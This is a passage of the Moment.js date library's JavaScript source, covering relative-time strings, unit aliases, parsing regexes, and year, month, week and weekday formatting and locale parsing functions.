    var defaultRelativeTime = {
        future: 'in %s',
        past: '%s ago',
        s: 'a few seconds',
        ss: '%d seconds',
        m: 'a minute',
        mm: '%d minutes',
        h: 'an hour',
        hh: '%d hours',
        d: 'a day',
        dd: '%d days',
        w: 'a week',
        ww: '%d weeks',
        M: 'a month',
        MM: '%d months',
        y: 'a year',
        yy: '%d years',
    };

    function relativeTime(number, withoutSuffix, string, isFuture) {
        var output = this._relativeTime[string];
        return isFunction(output)
            ? output(number, withoutSuffix, string, isFuture)
            : output.replace(/%d/i, number);
    }

    function pastFuture(diff, output) {
        var format = this._relativeTime[diff > 0 ? 'future' : 'past'];
        return isFunction(format) ? format(output) : format.replace(/%s/i, output);
    }

    var aliases = {
        D: 'date',
        dates: 'date',
        date: 'date',
        d: 'day',
        days: 'day',
        day: 'day',
        e: 'weekday',
        weekdays: 'weekday',
        weekday: 'weekday',
        E: 'isoWeekday',
        isoweekdays: 'isoWeekday',
        isoweekday: 'isoWeekday',
        DDD: 'dayOfYear',
        dayofyears: 'dayOfYear',
        dayofyear: 'dayOfYear',
        h: 'hour',
        hours: 'hour',
        hour: 'hour',
        ms: 'millisecond',
        milliseconds: 'millisecond',
        millisecond: 'millisecond',
        m: 'minute',
        minutes: 'minute',
        minute: 'minute',
        M: 'month',
        months: 'month',
        month: 'month',
        Q: 'quarter',
        quarters: 'quarter',
        quarter: 'quarter',
        s: 'second',
        seconds: 'second',
        second: 'second',
        gg: 'weekYear',
        weekyears: 'weekYear',
        weekyear: 'weekYear',
        GG: 'isoWeekYear',
        isoweekyears: 'isoWeekYear',
        isoweekyear: 'isoWeekYear',
        w: 'week',
        weeks: 'week',
        week: 'week',
        W: 'isoWeek',
        isoweeks: 'isoWeek',
        isoweek: 'isoWeek',
        y: 'year',
        years: 'year',
        year: 'year',
    };

    function normalizeUnits(units) {
        return typeof units === 'string'
            ? aliases[units] || aliases[units.toLowerCase()]
            : undefined;
    }

    function normalizeObjectUnits(inputObject) {
        var normalizedInput = {},
            normalizedProp,
            prop;

        for (prop in inputObject) {
            if (hasOwnProp(inputObject, prop)) {
                normalizedProp = normalizeUnits(prop);
                if (normalizedProp) {
                    normalizedInput[normalizedProp] = inputObject[prop];
                }
            }
        }

        return normalizedInput;
    }

    var priorities = {
        date: 9,
        day: 11,
        weekday: 11,
        isoWeekday: 11,
        dayOfYear: 4,
        hour: 13,
        millisecond: 16,
        minute: 14,
        month: 8,
        quarter: 7,
        second: 15,
        weekYear: 1,
        isoWeekYear: 1,
        week: 5,
        isoWeek: 5,
        year: 1,
    };

    function getPrioritizedUnits(unitsObj) {
        var units = [],
            u;
        for (u in unitsObj) {
            if (hasOwnProp(unitsObj, u)) {
                units.push({ unit: u, priority: priorities[u] });
            }
        }
        units.sort(function (a, b) {
            return a.priority - b.priority;
        });
        return units;
    }

    var match1 = /\d/, //       0 - 9
        match2 = /\d\d/, //      00 - 99
        match3 = /\d{3}/, //     000 - 999
        match4 = /\d{4}/, //    0000 - 9999
        match6 = /[+-]?\d{6}/, // -999999 - 999999
        match1to2 = /\d\d?/, //       0 - 99
        match3to4 = /\d\d\d\d?/, //     999 - 9999
        match5to6 = /\d\d\d\d\d\d?/, //   99999 - 999999
        match1to3 = /\d{1,3}/, //       0 - 999
        match1to4 = /\d{1,4}/, //       0 - 9999
        match1to6 = /[+-]?\d{1,6}/, // -999999 - 999999
        matchUnsigned = /\d+/, //       0 - inf
        matchSigned = /[+-]?\d+/, //    -inf - inf
        matchOffset = /Z|[+-]\d\d:?\d\d/gi, // +00:00 -00:00 +0000 -0000 or Z
        matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi, // +00 -00 +00:00 -00:00 +0000 -0000 or Z
        matchTimestamp = /[+-]?\d+(\.\d{1,3})?/, // 123456789 123456789.123
        // any word (or two) characters or numbers including two/three word month in arabic.
        // includes scottish gaelic two word and hyphenated months
        matchWord =
            /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,
        match1to2NoLeadingZero = /^[1-9]\d?/, //         1-99
        match1to2HasZero = /^([1-9]\d|\d)/, //           0-99
        regexes;

    regexes = {};

    function addRegexToken(token, regex, strictRegex) {
        regexes[token] = isFunction(regex)
            ? regex
            : function (isStrict, localeData) {
                  return isStrict && strictRegex ? strictRegex : regex;
              };
    }

    function getParseRegexForToken(token, config) {
        if (!hasOwnProp(regexes, token)) {
            return new RegExp(unescapeFormat(token));
        }

        return regexes[token](config._strict, config._locale);
    }

    // Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript
    function unescapeFormat(s) {
        return regexEscape(
            s
                .replace('\\', '')
                .replace(
                    /\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,
                    function (matched, p1, p2, p3, p4) {
                        return p1 || p2 || p3 || p4;
                    }
                )
        );
    }

    function regexEscape(s) {
        return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
    }

    function absFloor(number) {
        if (number < 0) {
            // -0 -> 0
            return Math.ceil(number) || 0;
        } else {
            return Math.floor(number);
        }
    }

    function toInt(argumentForCoercion) {
        var coercedNumber = +argumentForCoercion,
            value = 0;

        if (coercedNumber !== 0 && isFinite(coercedNumber)) {
            value = absFloor(coercedNumber);
        }

        return value;
    }

    var tokens = {};

    function addParseToken(token, callback) {
        var i,
            func = callback,
            tokenLen;
        if (typeof token === 'string') {
            token = [token];
        }
        if (isNumber(callback)) {
            func = function (input, array) {
                array[callback] = toInt(input);
            };
        }
        tokenLen = token.length;
        for (i = 0; i < tokenLen; i++) {
            tokens[token[i]] = func;
        }
    }

    function addWeekParseToken(token, callback) {
        addParseToken(token, function (input, array, config, token) {
            config._w = config._w || {};
            callback(input, config._w, config, token);
        });
    }

    function addTimeToArrayFromToken(token, input, config) {
        if (input != null && hasOwnProp(tokens, token)) {
            tokens[token](input, config._a, config, token);
        }
    }

    function isLeapYear(year) {
        return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0;
    }

    var YEAR = 0,
        MONTH = 1,
        DATE = 2,
        HOUR = 3,
        MINUTE = 4,
        SECOND = 5,
        MILLISECOND = 6,
        WEEK = 7,
        WEEKDAY = 8;

    // FORMATTING

    addFormatToken('Y', 0, 0, function () {
        var y = this.year();
        return y <= 9999 ? zeroFill(y, 4) : '+' + y;
    });

    addFormatToken(0, ['YY', 2], 0, function () {
        return this.year() % 100;
    });

    addFormatToken(0, ['YYYY', 4], 0, 'year');
    addFormatToken(0, ['YYYYY', 5], 0, 'year');
    addFormatToken(0, ['YYYYYY', 6, true], 0, 'year');

    // PARSING

    addRegexToken('Y', matchSigned);
    addRegexToken('YY', match1to2, match2);
    addRegexToken('YYYY', match1to4, match4);
    addRegexToken('YYYYY', match1to6, match6);
    addRegexToken('YYYYYY', match1to6, match6);

    addParseToken(['YYYYY', 'YYYYYY'], YEAR);
    addParseToken('YYYY', function (input, array) {
        array[YEAR] =
            input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input);
    });
    addParseToken('YY', function (input, array) {
        array[YEAR] = hooks.parseTwoDigitYear(input);
    });
    addParseToken('Y', function (input, array) {
        array[YEAR] = parseInt(input, 10);
    });

    // HELPERS

    function daysInYear(year) {
        return isLeapYear(year) ? 366 : 365;
    }

    // HOOKS

    hooks.parseTwoDigitYear = function (input) {
        return toInt(input) + (toInt(input) > 68 ? 1900 : 2000);
    };

    // MOMENTS

    var getSetYear = makeGetSet('FullYear', true);

    function getIsLeapYear() {
        return isLeapYear(this.year());
    }

    function makeGetSet(unit, keepTime) {
        return function (value) {
            if (value != null) {
                set$1(this, unit, value);
                hooks.updateOffset(this, keepTime);
                return this;
            } else {
                return get(this, unit);
            }
        };
    }

    function get(mom, unit) {
        if (!mom.isValid()) {
            return NaN;
        }

        var d = mom._d,
            isUTC = mom._isUTC;

        switch (unit) {
            case 'Milliseconds':
                return isUTC ? d.getUTCMilliseconds() : d.getMilliseconds();
            case 'Seconds':
                return isUTC ? d.getUTCSeconds() : d.getSeconds();
            case 'Minutes':
                return isUTC ? d.getUTCMinutes() : d.getMinutes();
            case 'Hours':
                return isUTC ? d.getUTCHours() : d.getHours();
            case 'Date':
                return isUTC ? d.getUTCDate() : d.getDate();
            case 'Day':
                return isUTC ? d.getUTCDay() : d.getDay();
            case 'Month':
                return isUTC ? d.getUTCMonth() : d.getMonth();
            case 'FullYear':
                return isUTC ? d.getUTCFullYear() : d.getFullYear();
            default:
                return NaN; // Just in case
        }
    }

    function set$1(mom, unit, value) {
        var d, isUTC, year, month, date;

        if (!mom.isValid() || isNaN(value)) {
            return;
        }

        d = mom._d;
        isUTC = mom._isUTC;

        switch (unit) {
            case 'Milliseconds':
                return void (isUTC
                    ? d.setUTCMilliseconds(value)
                    : d.setMilliseconds(value));
            case 'Seconds':
                return void (isUTC ? d.setUTCSeconds(value) : d.setSeconds(value));
            case 'Minutes':
                return void (isUTC ? d.setUTCMinutes(value) : d.setMinutes(value));
            case 'Hours':
                return void (isUTC ? d.setUTCHours(value) : d.setHours(value));
            case 'Date':
                return void (isUTC ? d.setUTCDate(value) : d.setDate(value));
            // case 'Day': // Not real
            //    return void (isUTC ? d.setUTCDay(value) : d.setDay(value));
            // case 'Month': // Not used because we need to pass two variables
            //     return void (isUTC ? d.setUTCMonth(value) : d.setMonth(value));
            case 'FullYear':
                break; // See below ...
            default:
                return; // Just in case
        }

        year = value;
        month = mom.month();
        date = mom.date();
        date = date === 29 && month === 1 && !isLeapYear(year) ? 28 : date;
        void (isUTC
            ? d.setUTCFullYear(year, month, date)
            : d.setFullYear(year, month, date));
    }

    // MOMENTS

    function stringGet(units) {
        units = normalizeUnits(units);
        if (isFunction(this[units])) {
            return this[units]();
        }
        return this;
    }

    function stringSet(units, value) {
        if (typeof units === 'object') {
            units = normalizeObjectUnits(units);
            var prioritized = getPrioritizedUnits(units),
                i,
                prioritizedLen = prioritized.length;
            for (i = 0; i < prioritizedLen; i++) {
                this[prioritized[i].unit](units[prioritized[i].unit]);
            }
        } else {
            units = normalizeUnits(units);
            if (isFunction(this[units])) {
                return this[units](value);
            }
        }
        return this;
    }

    function mod(n, x) {
        return ((n % x) + x) % x;
    }

    var indexOf;

    if (Array.prototype.indexOf) {
        indexOf = Array.prototype.indexOf;
    } else {
        indexOf = function (o) {
            // I know
            var i;
            for (i = 0; i < this.length; ++i) {
                if (this[i] === o) {
                    return i;
                }
            }
            return -1;
        };
    }

    function daysInMonth(year, month) {
        if (isNaN(year) || isNaN(month)) {
            return NaN;
        }
        var modMonth = mod(month, 12);
        year += (month - modMonth) / 12;
        return modMonth === 1
            ? isLeapYear(year)
                ? 29
                : 28
            : 31 - ((modMonth % 7) % 2);
    }

    // FORMATTING

    addFormatToken('M', ['MM', 2], 'Mo', function () {
        return this.month() + 1;
    });

    addFormatToken('MMM', 0, 0, function (format) {
        return this.localeData().monthsShort(this, format);
    });

    addFormatToken('MMMM', 0, 0, function (format) {
        return this.localeData().months(this, format);
    });

    // PARSING

    addRegexToken('M', match1to2, match1to2NoLeadingZero);
    addRegexToken('MM', match1to2, match2);
    addRegexToken('MMM', function (isStrict, locale) {
        return locale.monthsShortRegex(isStrict);
    });
    addRegexToken('MMMM', function (isStrict, locale) {
        return locale.monthsRegex(isStrict);
    });

    addParseToken(['M', 'MM'], function (input, array) {
        array[MONTH] = toInt(input) - 1;
    });

    addParseToken(['MMM', 'MMMM'], function (input, array, config, token) {
        var month = config._locale.monthsParse(input, token, config._strict);
        // if we didn't find a month name, mark the date as invalid.
        if (month != null) {
            array[MONTH] = month;
        } else {
            getParsingFlags(config).invalidMonth = input;
        }
    });

    // LOCALES

    var defaultLocaleMonths =
            'January_February_March_April_May_June_July_August_September_October_November_December'.split(
                '_'
            ),
        defaultLocaleMonthsShort =
            'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
        MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,
        defaultMonthsShortRegex = matchWord,
        defaultMonthsRegex = matchWord;

    function localeMonths(m, format) {
        if (!m) {
            return isArray(this._months)
                ? this._months
                : this._months['standalone'];
        }
        return isArray(this._months)
            ? this._months[m.month()]
            : this._months[
                  (this._months.isFormat || MONTHS_IN_FORMAT).test(format)
                      ? 'format'
                      : 'standalone'
              ][m.month()];
    }

    function localeMonthsShort(m, format) {
        if (!m) {
            return isArray(this._monthsShort)
                ? this._monthsShort
                : this._monthsShort['standalone'];
        }
        return isArray(this._monthsShort)
            ? this._monthsShort[m.month()]
            : this._monthsShort[
                  MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'
              ][m.month()];
    }

    function handleStrictParse(monthName, format, strict) {
        var i,
            ii,
            mom,
            llc = monthName.toLocaleLowerCase();
        if (!this._monthsParse) {
            // this is not used
            this._monthsParse = [];
            this._longMonthsParse = [];
            this._shortMonthsParse = [];
            for (i = 0; i < 12; ++i) {
                mom = createUTC([2000, i]);
                this._shortMonthsParse[i] = this.monthsShort(
                    mom,
                    ''
                ).toLocaleLowerCase();
                this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase();
            }
        }

        if (strict) {
            if (format === 'MMM') {
                ii = indexOf.call(this._shortMonthsParse, llc);
                return ii !== -1 ? ii : null;
            } else {
                ii = indexOf.call(this._longMonthsParse, llc);
                return ii !== -1 ? ii : null;
            }
        } else {
            if (format === 'MMM') {
                ii = indexOf.call(this._shortMonthsParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._longMonthsParse, llc);
                return ii !== -1 ? ii : null;
            } else {
                ii = indexOf.call(this._longMonthsParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._shortMonthsParse, llc);
                return ii !== -1 ? ii : null;
            }
        }
    }

    function localeMonthsParse(monthName, format, strict) {
        var i, mom, regex;

        if (this._monthsParseExact) {
            return handleStrictParse.call(this, monthName, format, strict);
        }

        if (!this._monthsParse) {
            this._monthsParse = [];
            this._longMonthsParse = [];
            this._shortMonthsParse = [];
        }

        // TODO: add sorting
        // Sorting makes sure if one month (or abbr) is a prefix of another
        // see sorting in computeMonthsParse
        for (i = 0; i < 12; i++) {
            // make the regex if we don't have it already
            mom = createUTC([2000, i]);
            if (strict && !this._longMonthsParse[i]) {
                this._longMonthsParse[i] = new RegExp(
                    '^' + this.months(mom, '').replace('.', '') + '$',
                    'i'
                );
                this._shortMonthsParse[i] = new RegExp(
                    '^' + this.monthsShort(mom, '').replace('.', '') + '$',
                    'i'
                );
            }
            if (!strict && !this._monthsParse[i]) {
                regex =
                    '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, '');
                this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i');
            }
            // test the regex
            if (
                strict &&
                format === 'MMMM' &&
                this._longMonthsParse[i].test(monthName)
            ) {
                return i;
            } else if (
                strict &&
                format === 'MMM' &&
                this._shortMonthsParse[i].test(monthName)
            ) {
                return i;
            } else if (!strict && this._monthsParse[i].test(monthName)) {
                return i;
            }
        }
    }

    // MOMENTS

    function setMonth(mom, value) {
        if (!mom.isValid()) {
            // No op
            return mom;
        }

        if (typeof value === 'string') {
            if (/^\d+$/.test(value)) {
                value = toInt(value);
            } else {
                value = mom.localeData().monthsParse(value);
                // TODO: Another silent failure?
                if (!isNumber(value)) {
                    return mom;
                }
            }
        }

        var month = value,
            date = mom.date();

        date = date < 29 ? date : Math.min(date, daysInMonth(mom.year(), month));
        void (mom._isUTC
            ? mom._d.setUTCMonth(month, date)
            : mom._d.setMonth(month, date));
        return mom;
    }

    function getSetMonth(value) {
        if (value != null) {
            setMonth(this, value);
            hooks.updateOffset(this, true);
            return this;
        } else {
            return get(this, 'Month');
        }
    }

    function getDaysInMonth() {
        return daysInMonth(this.year(), this.month());
    }

    function monthsShortRegex(isStrict) {
        if (this._monthsParseExact) {
            if (!hasOwnProp(this, '_monthsRegex')) {
                computeMonthsParse.call(this);
            }
            if (isStrict) {
                return this._monthsShortStrictRegex;
            } else {
                return this._monthsShortRegex;
            }
        } else {
            if (!hasOwnProp(this, '_monthsShortRegex')) {
                this._monthsShortRegex = defaultMonthsShortRegex;
            }
            return this._monthsShortStrictRegex && isStrict
                ? this._monthsShortStrictRegex
                : this._monthsShortRegex;
        }
    }

    function monthsRegex(isStrict) {
        if (this._monthsParseExact) {
            if (!hasOwnProp(this, '_monthsRegex')) {
                computeMonthsParse.call(this);
            }
            if (isStrict) {
                return this._monthsStrictRegex;
            } else {
                return this._monthsRegex;
            }
        } else {
            if (!hasOwnProp(this, '_monthsRegex')) {
                this._monthsRegex = defaultMonthsRegex;
            }
            return this._monthsStrictRegex && isStrict
                ? this._monthsStrictRegex
                : this._monthsRegex;
        }
    }

    function computeMonthsParse() {
        function cmpLenRev(a, b) {
            return b.length - a.length;
        }

        var shortPieces = [],
            longPieces = [],
            mixedPieces = [],
            i,
            mom,
            shortP,
            longP;
        for (i = 0; i < 12; i++) {
            // make the regex if we don't have it already
            mom = createUTC([2000, i]);
            shortP = regexEscape(this.monthsShort(mom, ''));
            longP = regexEscape(this.months(mom, ''));
            shortPieces.push(shortP);
            longPieces.push(longP);
            mixedPieces.push(longP);
            mixedPieces.push(shortP);
        }
        // Sorting makes sure if one month (or abbr) is a prefix of another it
        // will match the longer piece.
        shortPieces.sort(cmpLenRev);
        longPieces.sort(cmpLenRev);
        mixedPieces.sort(cmpLenRev);

        this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
        this._monthsShortRegex = this._monthsRegex;
        this._monthsStrictRegex = new RegExp(
            '^(' + longPieces.join('|') + ')',
            'i'
        );
        this._monthsShortStrictRegex = new RegExp(
            '^(' + shortPieces.join('|') + ')',
            'i'
        );
    }

    function createDate(y, m, d, h, M, s, ms) {
        // can't just apply() to create a date:
        // https://stackoverflow.com/q/181348
        var date;
        // the date constructor remaps years 0-99 to 1900-1999
        if (y < 100 && y >= 0) {
            // preserve leap years using a full 400 year cycle, then reset
            date = new Date(y + 400, m, d, h, M, s, ms);
            if (isFinite(date.getFullYear())) {
                date.setFullYear(y);
            }
        } else {
            date = new Date(y, m, d, h, M, s, ms);
        }

        return date;
    }

    function createUTCDate(y) {
        var date, args;
        // the Date.UTC function remaps years 0-99 to 1900-1999
        if (y < 100 && y >= 0) {
            args = Array.prototype.slice.call(arguments);
            // preserve leap years using a full 400 year cycle, then reset
            args[0] = y + 400;
            date = new Date(Date.UTC.apply(null, args));
            if (isFinite(date.getUTCFullYear())) {
                date.setUTCFullYear(y);
            }
        } else {
            date = new Date(Date.UTC.apply(null, arguments));
        }

        return date;
    }

    // start-of-first-week - start-of-year
    function firstWeekOffset(year, dow, doy) {
        var // first-week day -- which january is always in the first week (4 for iso, 1 for other)
            fwd = 7 + dow - doy,
            // first-week day local weekday -- which local weekday is fwd
            fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7;

        return -fwdlw + fwd - 1;
    }

    // https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday
    function dayOfYearFromWeeks(year, week, weekday, dow, doy) {
        var localWeekday = (7 + weekday - dow) % 7,
            weekOffset = firstWeekOffset(year, dow, doy),
            dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset,
            resYear,
            resDayOfYear;

        if (dayOfYear <= 0) {
            resYear = year - 1;
            resDayOfYear = daysInYear(resYear) + dayOfYear;
        } else if (dayOfYear > daysInYear(year)) {
            resYear = year + 1;
            resDayOfYear = dayOfYear - daysInYear(year);
        } else {
            resYear = year;
            resDayOfYear = dayOfYear;
        }

        return {
            year: resYear,
            dayOfYear: resDayOfYear,
        };
    }

    function weekOfYear(mom, dow, doy) {
        var weekOffset = firstWeekOffset(mom.year(), dow, doy),
            week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1,
            resWeek,
            resYear;

        if (week < 1) {
            resYear = mom.year() - 1;
            resWeek = week + weeksInYear(resYear, dow, doy);
        } else if (week > weeksInYear(mom.year(), dow, doy)) {
            resWeek = week - weeksInYear(mom.year(), dow, doy);
            resYear = mom.year() + 1;
        } else {
            resYear = mom.year();
            resWeek = week;
        }

        return {
            week: resWeek,
            year: resYear,
        };
    }

    function weeksInYear(year, dow, doy) {
        var weekOffset = firstWeekOffset(year, dow, doy),
            weekOffsetNext = firstWeekOffset(year + 1, dow, doy);
        return (daysInYear(year) - weekOffset + weekOffsetNext) / 7;
    }

    // FORMATTING

    addFormatToken('w', ['ww', 2], 'wo', 'week');
    addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek');

    // PARSING

    addRegexToken('w', match1to2, match1to2NoLeadingZero);
    addRegexToken('ww', match1to2, match2);
    addRegexToken('W', match1to2, match1to2NoLeadingZero);
    addRegexToken('WW', match1to2, match2);

    addWeekParseToken(
        ['w', 'ww', 'W', 'WW'],
        function (input, week, config, token) {
            week[token.substr(0, 1)] = toInt(input);
        }
    );

    // HELPERS

    // LOCALES

    function localeWeek(mom) {
        return weekOfYear(mom, this._week.dow, this._week.doy).week;
    }

    var defaultLocaleWeek = {
        dow: 0, // Sunday is the first day of the week.
        doy: 6, // The week that contains Jan 6th is the first week of the year.
    };

    function localeFirstDayOfWeek() {
        return this._week.dow;
    }

    function localeFirstDayOfYear() {
        return this._week.doy;
    }

    // MOMENTS

    function getSetWeek(input) {
        var week = this.localeData().week(this);
        return input == null ? week : this.add((input - week) * 7, 'd');
    }

    function getSetISOWeek(input) {
        var week = weekOfYear(this, 1, 4).week;
        return input == null ? week : this.add((input - week) * 7, 'd');
    }

    // FORMATTING

    addFormatToken('d', 0, 'do', 'day');

    addFormatToken('dd', 0, 0, function (format) {
        return this.localeData().weekdaysMin(this, format);
    });

    addFormatToken('ddd', 0, 0, function (format) {
        return this.localeData().weekdaysShort(this, format);
    });

    addFormatToken('dddd', 0, 0, function (format) {
        return this.localeData().weekdays(this, format);
    });

    addFormatToken('e', 0, 0, 'weekday');
    addFormatToken('E', 0, 0, 'isoWeekday');

    // PARSING

    addRegexToken('d', match1to2);
    addRegexToken('e', match1to2);
    addRegexToken('E', match1to2);
    addRegexToken('dd', function (isStrict, locale) {
        return locale.weekdaysMinRegex(isStrict);
    });
    addRegexToken('ddd', function (isStrict, locale) {
        return locale.weekdaysShortRegex(isStrict);
    });
    addRegexToken('dddd', function (isStrict, locale) {
        return locale.weekdaysRegex(isStrict);
    });

    addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) {
        var weekday = config._locale.weekdaysParse(input, token, config._strict);
        // if we didn't get a weekday name, mark the date as invalid
        if (weekday != null) {
            week.d = weekday;
        } else {
            getParsingFlags(config).invalidWeekday = input;
        }
    });

    addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) {
        week[token] = toInt(input);
    });

    // HELPERS

    function parseWeekday(input, locale) {
        if (typeof input !== 'string') {
            return input;
        }

        if (!isNaN(input)) {
            return parseInt(input, 10);
        }

        input = locale.weekdaysParse(input);
        if (typeof input === 'number') {
            return input;
        }

        return null;
    }

    function parseIsoWeekday(input, locale) {
        if (typeof input === 'string') {
            return locale.weekdaysParse(input) % 7 || 7;
        }
        return isNaN(input) ? null : input;
    }

    // LOCALES
    function shiftWeekdays(ws, n) {
        return ws.slice(n, 7).concat(ws.slice(0, n));
    }

    var defaultLocaleWeekdays =
            'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
        defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
        defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
        defaultWeekdaysRegex = matchWord,
        defaultWeekdaysShortRegex = matchWord,
        defaultWeekdaysMinRegex = matchWord;

    function localeWeekdays(m, format) {
        var weekdays = isArray(this._weekdays)
            ? this._weekdays
            : this._weekdays[
                  m && m !== true && this._weekdays.isFormat.test(format)
                      ? 'format'
                      : 'standalone'
              ];
        return m === true
            ? shiftWeekdays(weekdays, this._week.dow)
            : m
              ? weekdays[m.day()]
              : weekdays;
    }

    function localeWeekdaysShort(m) {
        return m === true
            ? shiftWeekdays(this._weekdaysShort, this._week.dow)
            : m
              ? this._weekdaysShort[m.day()]
              : this._weekdaysShort;
    }

    function localeWeekdaysMin(m) {
        return m === true
            ? shiftWeekdays(this._weekdaysMin, this._week.dow)
            : m
              ? this._weekdaysMin[m.day()]
              : this._weekdaysMin;
    }

    function handleStrictParse$1(weekdayName, format, strict) {
        var i,
            ii,
            mom,
            llc = weekdayName.toLocaleLowerCase();
        if (!this._weekdaysParse) {
            this._weekdaysParse = [];
            this._shortWeekdaysParse = [];
            this._minWeekdaysParse = [];

            for (i = 0; i < 7; ++i) {
                mom = createUTC([2000, 1]).day(i);
                this._minWeekdaysParse[i] = this.weekdaysMin(
                    mom,
                    ''
                ).toLocaleLowerCase();
                this._shortWeekdaysParse[i] = this.weekdaysShort(
                    mom,
                    ''
                ).toLocaleLowerCase();
                this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase();
            }
        }

        if (strict) {
            if (format === 'dddd') {
                ii = indexOf.call(this._weekdaysParse, llc);
                return ii !== -1 ? ii : null;
            } else if (format === 'ddd') {
                ii = indexOf.call(this._shortWeekdaysParse, llc);
                return ii !== -1 ? ii : null;
            } else {
                ii = indexOf.call(this._minWeekdaysParse, llc);
                return ii !== -1 ? ii : null;
            }
        } else {
            if (format === 'dddd') {
                ii = indexOf.call(this._weekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._shortWeekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._minWeekdaysParse, llc);
                return ii !== -1 ? ii : null;
            } else if (format === 'ddd') {
                ii = indexOf.call(this._shortWeekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._weekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._minWeekdaysParse, llc);
                return ii !== -1 ? ii : null;
            } else {
                ii = indexOf.call(this._minWeekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._weekdaysParse, llc);
                if (ii !== -1) {
                    return ii;
                }
                ii = indexOf.call(this._shortWeekdaysParse, llc);
                return ii !== -1 ? ii : null;
            }
        }
    }

    function localeWeekdaysParse(weekdayName, format, strict) {
        var i, mom, regex;

        if (this._weekdaysParseExact) {
            return handleStrictParse$1.call(this, weekdayName, format, strict);
        }

        if (!this._weekdaysParse) {
            this._weekdaysParse = [];
            this._minWeekdaysParse = [];
            this._shortWeekdaysParse = [];
            this._fullWeekdaysParse = [];
        }

        for (i = 0; i < 7; i++) {
            // make the regex if we don't have it already

            mom = createUTC([2000, 1]).day(i);
            if (strict && !this._fullWeekdaysParse[i]) {
                this._fullWeekdaysParse[i] = new RegExp(
                    '^' + this.weekdays(mom, '').replace('.', '\\.?') + '$',
                    'i'
                );
                this._shortWeekdaysParse[i] = new RegExp(
                    '^' + this.weekdaysShort(mom, '').replace('.', '\\.?') + '$',
                    'i'
                );
                this._minWeekdaysParse[i] = new RegExp(
                    '^' + this.weekdaysMin(mom, '').replace('.', '\\.?') + '$',
                    'i'
                );
            }
            if (!this._weekdaysParse[i]) {
                regex =
                    '^' +
                    this.weekdays(mom, '') +
                    '|^' +
                    this.weekdaysShort(mom, '') +
                    '|^' +
                    this.weekdaysMin(mom, '');
                this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i');
            }
            // test the regex
            if (
                strict &&
                format === 'dddd' &&
                this._fullWeekdaysParse[i].test(weekdayName)
            ) {
                return i;
            } else if (
                strict &&
                format === 'ddd' &&
                this._shortWeekdaysParse[i].test(weekdayName)
            ) {
                return i;
            } else if (
                strict &&
                format === 'dd' &&
                this._minWeekdaysParse[i].test(weekdayName)
            ) {
                return i;
            } else if (!strict && this._weekdaysParse[i].test(weekdayName)) {
                return i;
            }
        }
    }

    // MOMENTS

    function getSetDayOfWeek(input) {
        if (!this.isValid()) {
            return input != null ? this : NaN;
        }

        var day = get(this, 'Day');
        if (input != null) {
            input = parseWeekday(input, this.localeData());
            return this.add(input - day, 'd');
        } else {
            return day;
        }
    }

    function getSetLocaleDayOfWeek(input) {
        if (!this.isValid()) {
            return input != null ? this : NaN;
        }
        var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7;
        return input == null ? weekday : this.add(input - weekday, 'd');
    }

    function getSetISODayOfWeek(input) {
        if (!this.isValid()) {
            return input != null ? this : NaN;
        }

        // behaves the same as moment#day except
        // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6)
        // as a setter, sunday should belong to the previous week.

        if (input != null) {
            var weekday = parseIsoWeekday(input, this.localeData());
            return this.day(this.day() % 7 ? weekday : weekday - 7);
        } else {
            return this.day() || 7;
        }
    }

    function weekdaysRegex(isStrict) {
        if (this._weekdaysParseExact) {
            if (!hasOwnProp(this, '_weekdaysRegex')) {
                computeWeekdaysParse.call(this);
            }
            if (isStrict) {
                return this._weekdaysStrictRegex;
            } else {
                return this._weekdaysRegex;
            }
        } else {
            if (!hasOwnProp(this, '_weekdaysRegex')) {
                this._weekdaysRegex = defaultWeekdaysRegex;
            }
            return this._weekdaysStrictRegex && isStrict
                ? this._weekdaysStrictRegex
                : this._weekdaysRegex;
        }
    }

    function weekdaysShortRegex(isStrict) {
        if (this._weekdaysParseExact) {
            if (!hasOwnProp(this, '_weekdaysRegex')) {
                computeWeekdaysParse.call(this);
            }
